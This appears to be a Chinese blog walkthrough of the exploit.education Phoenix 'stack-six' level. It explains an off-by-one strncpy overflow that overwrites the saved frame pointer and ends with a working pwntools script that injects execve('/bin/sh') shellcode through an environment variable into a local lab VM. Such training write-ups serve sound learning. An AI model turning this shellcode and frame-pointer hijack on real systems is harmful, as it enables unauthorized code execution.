Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

听说把这段写进~/.gdbinit里面会让栈的情况更加真实(在调试的时候)

(参考https://n1ght-w0lf.github.io/binary exploitation/stack-six/

1
2
3
unset env LINES
unset env COLUMNS
set env _ /opt/phoenix/amd64/stack-six

然后这是本题源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
/*
* phoenix/stack-six, by https://exploit.education
*
* Can you execve("/bin/sh", ...) ?
*
* Why do fungi have to pay double bus fares? Because they take up too
* mushroom.
*/

#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"

char *what = GREET;

char *greet(char *who) {
char buffer[128];
int maxSize;

maxSize = strlen(who);
if (maxSize > (sizeof(buffer) - /* ensure null termination */ 1)) {
maxSize = sizeof(buffer) - 1;
}

strcpy(buffer, what);
strncpy(buffer + strlen(buffer), who, maxSize);

return strdup(buffer);
}

int main(int argc, char **argv) {
char *ptr;
printf("%s\n", BANNER);

#ifdef NEWARCH
if (argv[1]) {
what = argv[1];
}
#endif

ptr = getenv("ExploitEducation");
if (NULL == ptr) {
// This style of comparison prevents issues where you may accidentally
// type if(ptr = NULL) {}..

errx(1, "Please specify an environment variable called ExploitEducation");
}

printf("%s\n", greet(ptr));
return 0;
}

理论

其中greet函数有两点错误:

  • strncpy函数不会自动在末尾添加\0,而strdup是根据\0来判断结尾的

  • strncpy的起始地址是buffer + GREET的长度,但复制长度确是maxSize,导致了末尾有个跟GREET一样长的区域可以溢出(好像减了1)。

调试一下发现,覆盖不到返回地址,但是可以覆盖到压进栈里的rbp的最后两位。

众所周知(不知道的看这个https://zhuanlan.zhihu.com/p/27339191),进入函数时会执行:

1
2
3
4
5
6
7
call xxx
;相当于
;push $+1
;jmp xxx
push rbp
mov rbp, rsp
sub rsp, xxx

而函数返回时执行的

1
2
leave
ret

相当于

1
2
3
mov rsp, rbp
pop rbp
pop rip

当我们把greet函数栈里面存着的(前)rbp改为了x。

那么*x就会变成main函数的栈底,*x+8就会变成main函数的返回地址。

理论存在,实践开始

gdb调试一下,能改的范围在:0x7fffffffe500~0x7fffffffe5ff

用这个命令看看这个范围里都有什么东西

1
x/32xg 0x00007fffffffe500

顺便确定一下我们输入的东西在哪。(注意不在栈的范围的东西不能要了(存疑),所以我们搜环境变量)

1
2
3
4
(gdb) grep ExploitEducation=
[+] Searching 'ExploitEducation=' in memory
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rwx
0x7fffffffeee5 - 0x7fffffffef1c → "ExploitEducation=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[...]"

去掉开头,确定我们输入的范围

1
2
3
4
>>> hex(0xeee5+len("ExploitEducation="))
'0xeef6'
>>> hex(0xeee5+126)
'0xef63'

回到之前看的范围(好像这样写顺序不太对,不管了)

0x7fffffffe5c8里正好是0x00007fffffffeef6,你说巧不巧

1
2
3
4
5
6
7
8
9
10
from pwn import *

shell = ssh("user", "localhost", password="user", port=2222)
shellcode = b'\x90'*20
shellcode += b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
shellcode += b"A"*(126-len(shellcode))+b'\xc0'

sh = shell.run("/opt/phoenix/amd64/stack-six", env={"ExploitEducation": shellcode})
print(sh.recvline())
sh.interactive()

好了。

结果

评论